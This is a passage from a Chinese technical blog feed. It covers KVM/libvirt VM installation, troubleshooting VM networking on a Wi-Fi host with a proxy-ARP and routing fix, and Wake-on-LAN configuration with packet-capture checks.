# 非 root 用户 virt-install 默认走 qemu:&amp;#x2F;&amp;#x2F;&amp;#x2F;session（找不到 default 网络），务必指定：
export LIBVIRT_DEFAULT_URI=qemu:&amp;#x2F;&amp;#x2F;&amp;#x2F;system
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;preseed-zi-dong-an-zhuang-chuan-kou-wu-jiao-hu&quot;&gt;preseed 自动安装（串口无交互）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 提取 d-i 内核（注意 Debian netinst ISO 布局是 install.amd，不是 install.amd64）
sudo mount -o loop,ro debian-13.6.0-amd64-netinst.iso &amp;#x2F;mnt&amp;#x2F;iso-loop
mkdir -p &amp;#x2F;mnt&amp;#x2F;nvme0n1p10&amp;#x2F;vm-iso&amp;#x2F;install.amd64
cp &amp;#x2F;mnt&amp;#x2F;iso-loop&amp;#x2F;install.amd&amp;#x2F;{vmlinuz,initrd.gz} &amp;#x2F;mnt&amp;#x2F;nvme0n1p10&amp;#x2F;vm-iso&amp;#x2F;install.amd64&amp;#x2F;

# HTTP 分发 preseed（比 --initrd-inject 可靠：HTTP 日志可确认 d-i 确实取到了文件）
python3 -m http.server 8000 --directory &amp;#x2F;mnt&amp;#x2F;nvme0n1p10&amp;#x2F;vm-iso --bind 0.0.0.0 &amp;amp;

virt-install \
  --name debian13-vm --memory 4096 --vcpus 4 \
  --disk path=&amp;#x2F;dev&amp;#x2F;nvme0n1p8,bus=virtio,format=raw \
  --network network=default,model=virtio \
  --graphics none \
  --console pty,target_type=serial \
  --channel unix,target_type=virtio,name=org.qemu.guest_agent \
  --location &amp;#x2F;mnt&amp;#x2F;nvme0n1p10&amp;#x2F;vm-iso&amp;#x2F;debian-13.6.0-amd64-netinst.iso \
  --os-variant debiantrixie \
  --extra-args &amp;quot;auto console=ttyS0,115200n8 preseed&amp;#x2F;url=http:&amp;#x2F;&amp;#x2F;192.168.122.1:8000&amp;#x2F;preseed.cfg&amp;quot; \
  --force --noautoconsole
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;preseed 踩坑：键盘问题没答全会&lt;strong&gt;卡在交互主菜单&lt;&#x2F;strong&gt;（&lt;code&gt;console-setup&#x2F;ask_detect false&lt;&#x2F;code&gt; + &lt;code&gt;console-setup&#x2F;layoutcode us&lt;&#x2F;code&gt; + &lt;code&gt;keyboard-configuration&#x2F;xkb-keymap us&lt;&#x2F;code&gt; 三件套都要）；&lt;code&gt;--extra-args&lt;&#x2F;code&gt; 只支持 &lt;code&gt;--location&lt;&#x2F;code&gt;（&lt;code&gt;--cdrom&lt;&#x2F;code&gt; 会报 &quot;Kernel arguments are only supported with location&quot;）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chuan-kou-console-deng-lu&quot;&gt;串口 console 登录&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# &amp;#x2F;etc&amp;#x2F;default&amp;#x2F;grub：
GRUB_CMDLINE_LINUX=&amp;quot;console=ttyS0,115200n8&amp;quot;
GRUB_TERMINAL=serial
GRUB_SERIAL_COMMAND=&amp;quot;serial --speed=115200 --unit=0 --word=8 --parity=no --stop=1&amp;quot;
sudo update-grub
sudo systemctl enable serial-getty@ttyS0   # 有 console=ttyS0 时 getty-generator 也会自动生成
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证：&lt;code&gt;virsh console &amp;lt;vm&amp;gt;&lt;&#x2F;code&gt; 出现 &lt;code&gt;debian login:&lt;&#x2F;code&gt;。注意 pty 属 root，非交互抓取要 sudo；&lt;code&gt;virsh console&lt;&#x2F;code&gt; 只显示连接后的输出，登录提示是静态的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chi-xian-xiu-gai-jing-xiang-virt-customize-wu-xu-ke-hu-ji-mi-ma&quot;&gt;离线修改镜像（virt-customize，无需客户机密码）&lt;&#x2F;h3&gt;
&lt;p&gt;忘记&#x2F;没有客户机密码时，关机后在宿主机直接改 qcow2：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install libguestfs-tools
sudo virt-customize -a &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;debian.qcow2 \
  --run-command &amp;quot;usermod -aG sudo peter&amp;quot; \
  --run-command &amp;quot;apt-get install -y qemu-guest-agent&amp;quot; \
  --run-command &amp;quot;systemctl enable qemu-guest-agent&amp;quot; \
  --upload &amp;#x2F;tmp&amp;#x2F;vm-grub:&amp;#x2F;etc&amp;#x2F;default&amp;#x2F;grub \
  --run-command &amp;quot;update-grub&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;踩坑：&lt;code&gt;--run &quot;bash file&quot;&lt;&#x2F;code&gt; 报文件不存在（上传与执行环境问题），用 &lt;code&gt;--run-command&lt;&#x2F;code&gt; 逐个执行；命令含引号会被命令行层吃掉（&lt;code&gt;GRUB_SERIAL_COMMAND=&quot;serial --speed...&quot;&lt;&#x2F;code&gt; 需整体 --upload 覆盖 &#x2F;etc&#x2F;default&#x2F;grub）；DVD 安装的镜像 sources.list 只有 cdrom 源，先换成网络源才能装包。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;qemu-guest-agent&quot;&gt;qemu-guest-agent&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh qemu-agent-command debian &amp;#x27;{&amp;quot;execute&amp;quot;:&amp;quot;guest-ping&amp;quot;}&amp;#x27;
virsh qemu-agent-command debian &amp;#x27;{&amp;quot;execute&amp;quot;:&amp;quot;guest-network-get-interfaces&amp;quot;}&amp;#x27;
virsh qemu-agent-command debian &amp;#x27;{&amp;quot;execute&amp;quot;:&amp;quot;guest-get-osinfo&amp;quot;}&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;wi-fi-su-zhu-de-vm-wang-luo-macvtap-shi-bai-proxy-arp-lu-you-fang-an-2026-08-16-wan-zheng-pai-cha&quot;&gt;Wi-Fi 宿主的 VM 网络：macvtap 失败 → proxy-ARP 路由方案（2026-08-16 完整排查）&lt;&#x2F;h3&gt;
&lt;p&gt;场景：宿主 Debian 笔记本（Wi-Fi 接入家用路由器），VM 需要成为局域网成员，让&lt;strong&gt;有线侧&lt;&#x2F;strong&gt;设备能 &lt;code&gt;ssh&lt;&#x2F;code&gt; 直达。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;die-dai-yi-macvtap-bridge-zhi-lian-jia-yang-xing-xian-jing&quot;&gt;迭代一：macvtap bridge 直连 —— 假阳性陷阱&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo modprobe macvtap
# &amp;lt;interface type=&amp;#x27;direct&amp;#x27;&amp;gt;&amp;lt;source dev=&amp;#x27;wlan0&amp;#x27; mode=&amp;#x27;bridge&amp;#x27;&amp;#x2F;&amp;gt;&amp;lt;model type=&amp;#x27;virtio&amp;#x27;&amp;#x2F;&amp;gt;&amp;lt;&amp;#x2F;interface&amp;gt;
virsh attach-device debian &amp;#x2F;tmp&amp;#x2F;macvtap-iface.xml --live --config
# 踩坑：virsh attach-interface ... --source-mode bridge 报&amp;quot;无效的源模式&amp;quot;（所有 mode 值都被拒），
#       必须走 attach-device + XML；Wi-Fi 上 DHCP 无响应（路由器只给关联客户端发 offer），需静态 IP
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;给 VM 配静态 IP &lt;code&gt;192.168.2.200&lt;&#x2F;code&gt; 后测试&quot;成功&quot;——ping 通、SSH 通。但仔细一看：SSH 返回的 hostname 是 &lt;code&gt;xiao&lt;&#x2F;code&gt;、还带着 tailscale IP（100.64.0.2）——&lt;strong&gt;那是占着 .200 的另一台设备！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;教训一（假阳性陷阱）&lt;&#x2F;strong&gt;：配置静态 IP 前必须扫描占用；验证连通性时核对 hostname&#x2F;SSH 指纹，不能只看&quot;通了&quot;——IP 冲突时你连的可能是别人。本案例里 VM 从一开始就没被局域网访问到过，后续所有&quot;冲突导致封锁&quot;的猜测都建立在这个假阳性上。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;die-dai-er-huan-ip-huan-mac-reng-ran-bu-tong&quot;&gt;迭代二：换 IP &#x2F; 换 MAC —— 仍然不通&lt;&#x2F;h4&gt;
&lt;p&gt;把 VM 改成 &lt;code&gt;192.168.2.160&lt;&#x2F;code&gt;，再换 VM 的 MAC（&lt;code&gt;52:54:00:aa:bb:01&lt;&#x2F;code&gt; → &lt;code&gt;.02&lt;&#x2F;code&gt;，需 destroy + start 才会重载域定义），均不通。由此排除&quot;冲突触发的 AP 临时封锁&quot;（与 VM 的 MAC&#x2F;IP 无关）。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shuang-duan-zhua-bao-ding-wei-guan-jian-fang-fa-lun&quot;&gt;双端抓包定位（关键方法论）&lt;&#x2F;h4&gt;
&lt;p&gt;同时在&lt;strong&gt;两端&lt;&#x2F;strong&gt;抓包，一次实验看清全貌：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;观测点&lt;&#x2F;th&gt;&lt;th&gt;实测结果&lt;&#x2F;th&gt;&lt;th&gt;结论&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;宿主 &lt;code&gt;tcpdump -i wlan0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;本机(.100)的 ARP 广播&lt;strong&gt;到达&lt;&#x2F;strong&gt;，VM &lt;strong&gt;应答&lt;&#x2F;strong&gt;（request+reply 完整交互）&lt;&#x2F;td&gt;&lt;td&gt;出方向正常，广播能进来&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;本机 &lt;code&gt;tcpdump -i vmbr0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;只看到自己发出的 ARP 请求，&lt;strong&gt;应答从未到达&lt;&#x2F;strong&gt;；同时刻其他设备的 ARP 全部正常&lt;&#x2F;td&gt;&lt;td&gt;丢包发生在两者之间&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;对照：.150（另一无线设备）的 ARP 广播&lt;&#x2F;td&gt;&lt;td&gt;宿主 wlan0 能收到&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;广播转发本身没问题&lt;&#x2F;strong&gt;，排除&quot;AP 封锁宿主站点&quot;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;VM 内 &lt;code&gt;ip neigh&lt;&#x2F;code&gt;（guest-exec 执行）&lt;&#x2F;td&gt;&lt;td&gt;能解析出本机和网关的 MAC（STALE）&lt;&#x2F;td&gt;&lt;td&gt;VM 出方向的广播 ARP 被转发、回包也到了&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;中间被证伪的两个错误理论&lt;&#x2F;strong&gt;（记录备查）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&quot;包到了宿主被本机配置丢弃&quot;&lt;&#x2F;strong&gt;——wlan0 抓包证明 ARP 请求到达了宿主，VM 的应答在宿主侧也正常发出；丢的是返回方向。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&quot;AP 封锁了宿主的无线站点&quot;&lt;&#x2F;strong&gt;——对照实验发现其他无线设备的广播能到达宿主，广播转发是通的；且换 VM MAC 后依旧，封锁与 VM MAC 无关。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;gen-yin-802-11-wu-4-address-mo-shi-ap-diu-qi-zhan-dian-dai-fa-de-wai-lai-yuan-mac-dan-bo&quot;&gt;根因：802.11 无 4-address 模式，AP 丢弃站点代发的&quot;外来源 MAC&quot;单播&lt;&#x2F;h4&gt;
&lt;p&gt;双端证据闭环：&lt;strong&gt;VM 的单播应答在宿主的 wlan0 上发出（TX 抓到），但从未出现在本机的网卡上（RX 抓到）&lt;&#x2F;strong&gt;；同时刻其他所有设备的单播交互都正常。&lt;&#x2F;p&gt;
&lt;p&gt;原理（802.11 帧结构）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;空中 802.11 数据帧：
┌──────────────┬──────────────┬──────────────┬──────────────────────┐
│ 地址1 RA      │ 地址2 TA      │ 地址3 SA&amp;#x2F;DA   │ 帧体：封装的以太网帧    │
│ (AP 的 MAC)   │ (宿主站点 MAC)│              │ 以太网头：源=VM 的 MAC  │
└──────────────┴──────────────┴──────────────┴──────────────────────┘
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;802.11 头里的地址 2（TA）是&quot;物理发射者&quot;身份，硬件写死为站点自己的 MAC；&lt;strong&gt;VM 的 MAC 只存在于帧体内的以太网头&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;AP 拆掉 802.11 头后按以太网源 MAC 做转发决策：VM 的 MAC 在&quot;已关联客户端表&quot;里查无此站 → &lt;strong&gt;单播帧丢弃&lt;&#x2F;strong&gt;；广播帧不校验源 MAC，所以 VM 的广播 ARP 能出去&lt;&#x2F;li&gt;
&lt;li&gt;宿主自己回包正常，是因为它的帧&quot;源 MAC = 自己关联的 MAC&quot;，身份一致&lt;&#x2F;li&gt;
&lt;li&gt;解决之道是 &lt;strong&gt;WDS&#x2F;4-address 模式&lt;&#x2F;strong&gt;（802.11 头加地址 4 承载原始源 MAC），家用路由器基本不支持&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;die-dai-san-ipvlan-si-lu-proxy-arp-lu-you-zui-zhong-fang-an&quot;&gt;迭代三：ipvlan 思路 → proxy-ARP + 路由（最终方案）&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;思路&lt;&#x2F;strong&gt;：VM 不能用 ipvlan 设备（QEMU 需要独立 virtio MAC，ipvlan 是主机侧 L3 设备）。但 ipvlan 的核心——&quot;共享宿主机 MAC&quot;——可以等价实现：&lt;strong&gt;让 VM 的所有流量经宿主的 L3 协议栈转发&lt;&#x2F;strong&gt;，出站帧的源 MAC 一律是宿主的，AP 校验必然通过。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;VM (enp1s0: 192.168.122.160&amp;#x2F;24 + 192.168.2.160&amp;#x2F;32)
   │ 默认路由 via 192.168.122.1
   ▼
宿主 ──virbr0── (L3 转发) ──wlan0── AP ── 局域网
   ▲                                    │
   └─ proxy_arp 应答&amp;quot;谁是 .160&amp;quot;（用 wlan0 的 MAC）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;VM 侧配置&lt;&#x2F;strong&gt;（NM 配置直接写 &lt;code&gt;.nmconnection&lt;&#x2F;code&gt; 文件，绕开 nmcli 参数转义；需 &lt;code&gt;chmod 600&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[ipv4]
method=manual
address1=192.168.122.160&amp;#x2F;24,192.168.122.1
address2=192.168.2.160&amp;#x2F;32,
dns=192.168.122.1;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;宿主侧配置&lt;&#x2F;strong&gt;（持久化：&lt;code&gt;&#x2F;etc&#x2F;sysctl.d&#x2F;99-vm-proxy-arp.conf&lt;&#x2F;code&gt; + NM dispatcher 脚本）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 路由：把 .160 引到 VM（经 virbr0）
ip route add 192.168.2.160&amp;#x2F;32 via 192.168.122.160 dev virbr0
# proxy_arp：局域网问&amp;quot;谁是 .160&amp;quot;时宿主用自己 wlan0 的 MAC 应答
echo 1 | tee &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;net&amp;#x2F;ipv4&amp;#x2F;conf&amp;#x2F;wlan0&amp;#x2F;proxy_arp
# iptables：libvirt 的 FORWARD 链只放行 192.168.122.0&amp;#x2F;24，.160 会被 REJECT(icmp-port-unreachable)
iptables -I LIBVIRT_FWI 1 -d 192.168.2.160 -o virbr0 -j ACCEPT
iptables -I LIBVIRT_FWO 1 -s 192.168.2.160 -i virbr0 -j ACCEPT
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;ARP 流程&lt;&#x2F;strong&gt;（核心，理解了就理解整个方案）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;局域网 → VM&lt;&#x2F;strong&gt;：本机广播&quot;谁是 .160&quot; → AP 转发广播 → 宿主 wlan0 收到 → 宿主查路由（有 &lt;code&gt;&#x2F;32 via 192.168.122.160&lt;&#x2F;code&gt;）→ &lt;strong&gt;proxy-ARP 替答&lt;&#x2F;strong&gt;&quot;is-at &amp;lt;宿主 wlan0 MAC&amp;gt;&quot; → 本机把包填宿主 MAC 发出 → 宿主路由到 virbr0 → ARP .122.160 → VM 应答 → 送达&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;VM → 局域网&lt;&#x2F;strong&gt;：VM 只有 .160&#x2F;32 是本机，其余走默认路由 via 192.168.122.1 → 宿主收到（源 IP .160）→ 以&lt;strong&gt;自己身份&lt;&#x2F;strong&gt;在 wlan0 上 ARP 目标 → 转发，&lt;strong&gt;L2 源 MAC 重写为宿主自己的&lt;&#x2F;strong&gt; → 本机收到&quot;来自 .160、MAC 是宿主&quot;的包，回包按 .160→宿主 MAC 的 ARP 表项走&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;验证&lt;&#x2F;strong&gt;：&lt;code&gt;ping 192.168.2.160&lt;&#x2F;code&gt; 通（ttl 63，经宿主路由）；&lt;code&gt;ssh peter@192.168.2.160&lt;&#x2F;code&gt; 直达 VM。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;边界情况&lt;&#x2F;strong&gt;：VM 关机时宿主仍会替 .160 应答 ARP（路由还在），virbr0 上 ARP .122.160 失败导致包在宿主丢弃（表现&quot;ARP 能通但无响应&quot;）；VM 改 IP 需同步更新宿主路由和 iptables；IPv6 需另行配置 NDP 代理。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ben-ci-jiao-xun&quot;&gt;本次教训&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;假阳性陷阱&lt;&#x2F;strong&gt;：验证连通性必须核对 hostname&#x2F;指纹，IP 冲突场景下&quot;通了&quot;可能是别人的机器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;双端抓包方法论&lt;&#x2F;strong&gt;：丢包定位要在路径两端同时抓，配合&quot;同时刻其他设备流量正常&quot;的对照组，才能把丢包点钉死在某个区间（这次是宿主的 TX 抓到、本机的 RX 抓不到，锁死 AP）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;让用户参与质疑有价值&lt;&#x2F;strong&gt;：两轮&quot;AP 封锁&#x2F;宿主丢包&quot;的错误理论都是被用户的追问逼着做对照实验推翻的，避免了一条道走到黑&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Wi-Fi 桥接的限制&lt;&#x2F;strong&gt;：普通 AP 上别指望 macvtap&#x2F;网桥能让 VM 以独立 MAC 出现在局域网，除非路由器支持 WDS&#x2F;4-address；&quot;共享宿主 MAC + L3 转发&quot;是通用出路&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;qemu-yong-hu-tai-vs-xi-tong-ji-mo-ni&quot;&gt;QEMU 用户态 vs 系统级模拟&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;qemu-riscv64&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;qemu-system-riscv64&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;模式&lt;&#x2F;td&gt;&lt;td&gt;用户态模拟（User mode）&lt;&#x2F;td&gt;&lt;td&gt;系统级模拟（System mode）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;功能&lt;&#x2F;td&gt;&lt;td&gt;运行单个可执行 ELF&lt;&#x2F;td&gt;&lt;td&gt;模拟完整裸机系统&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;系统调用&lt;&#x2F;td&gt;&lt;td&gt;转换为宿主系统调用&lt;&#x2F;td&gt;&lt;td&gt;需要运行完整内核&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;用户态模拟通过将 RISC-V Linux 系统调用转换为 x86-64 系统调用来执行单个应用。&lt;&#x2F;p&gt;
&lt;p&gt;JOS 相关内容（IDT&#x2F;GDT&#x2F;LDT、PLT&#x2F;GOT、内核调试、页表与 CR3、汇编器语法）已拆分为独立文章：&lt;a href=&quot;&#x2F;2026&#x2F;08&#x2F;jos-learning-notes&#x2F;&quot;&gt;JOS 学习笔记&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>远程唤醒 Wake-on-LAN</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/wake-on-lan/"/>
        <id>https://vercel.juzhong.asia/2025/07/wake-on-lan/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/wake-on-lan/">&lt;h1 id=&quot;yuan-cheng-huan-xing-wake-on-lan&quot;&gt;远程唤醒 Wake-on-LAN&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yuan-li&quot;&gt;原理&lt;&#x2F;h2&gt;
&lt;p&gt;WOL 通过发送 &lt;strong&gt;Magic Packet&lt;&#x2F;strong&gt; 唤醒目标计算机。Magic Packet 是一个广播帧，由以下组成：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;6 字节的 &lt;code&gt;0xFF&lt;&#x2F;code&gt;（全 1）&lt;&#x2F;li&gt;
&lt;li&gt;目标 MAC 地址重复 16 次&lt;&#x2F;li&gt;
&lt;li&gt;共 102 字节&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过 UDP 端口 7 或 9（默认）发送，也可以是二层帧（EtherType &lt;code&gt;0x0842&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;p&gt;关机状态下网卡（NIC）保持低功耗待机，监听 Magic Packet，收到后触发开机。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;linux-bei-huan-xing-duan-pei-zhi&quot;&gt;Linux 被唤醒端配置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看是否支持 WOL
ethtool eth0 | grep -C 3 -i wake
# Supports Wake-on: pumbg  表示支持
# Wake-on: d               d=禁用, g=已开启

# 开启 WOL
ethtool -s eth0 wol g
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;WOL 选项含义：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;值&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;d&lt;&#x2F;td&gt;&lt;td&gt;禁用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;p&lt;&#x2F;td&gt;&lt;td&gt;物理活动唤醒&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;u&lt;&#x2F;td&gt;&lt;td&gt;单播消息唤醒&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;m&lt;&#x2F;td&gt;&lt;td&gt;多播（组播）消息唤醒&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;b&lt;&#x2F;td&gt;&lt;td&gt;广播消息唤醒&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;a&lt;&#x2F;td&gt;&lt;td&gt;ARP 唤醒&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;g&lt;&#x2F;td&gt;&lt;td&gt;Magic Packet 唤醒&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;s&lt;&#x2F;td&gt;&lt;td&gt;带密码的 Magic Packet 唤醒&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;推荐使用 &lt;code&gt;g&lt;&#x2F;code&gt;（Magic Packet），避免路由器广播误唤醒。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;que-bao-zhong-qi-hou-zi-dong-kai-qi&quot;&gt;确保重启后自动开启&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;方法一&lt;&#x2F;strong&gt;：添加到 &lt;code&gt;&#x2F;etc&#x2F;rc.local&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&amp;#x2F;sbin&amp;#x2F;ethtool -s eth0 wol g
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;方法二&lt;&#x2F;strong&gt;：创建 systemd 服务：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Unit]
Description=Enable Wake On Lan

[Service]
Type=oneshot
ExecStart=&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;ethtool --change enp3s0 wol g

[Install]
WantedBy=basic.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fa-song-magic-packet&quot;&gt;发送 Magic Packet&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# wakeonlan（UDP，无需 root）
apt install wakeonlan
wakeonlan &amp;lt;MAC-address&amp;gt;
wakeonlan -i 192.168.1.255 &amp;lt;MAC&amp;gt;      # 指定广播地址
wakeonlan -i 192.168.1.255 -p 4242 &amp;lt;MAC&amp;gt;  # 指定端口

# etherwake（二层帧，需 root）
apt install etherwake
sudo etherwake &amp;lt;MAC-address&amp;gt;
sudo etherwake -i eno1 &amp;lt;MAC-address&amp;gt;   # 指定接口
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zhua-bao-yan-zheng&quot;&gt;抓包验证&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 监听 Magic Packet（UDP 端口 9）
sudo tcpdump -vvnn -i eno1 &amp;#x27;ether dst host ff:ff:ff:ff:ff:ff and udp port 9&amp;#x27;

# 监听二层帧 WOL
sudo tcpdump -vvnn -i eno1 &amp;#x27;ether[12:2] == 0x0842&amp;#x27;

# Wireshark 过滤
udp.port == 9 or udp.port == 7 or eth.type == 0x0842
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;wol-bao-wen-lei-xing-zong-jie&quot;&gt;WOL 报文类型总结&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;工具&lt;&#x2F;th&gt;&lt;th&gt;以太网地址&lt;&#x2F;th&gt;&lt;th&gt;IP 层地址&lt;&#x2F;th&gt;&lt;th&gt;协议&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
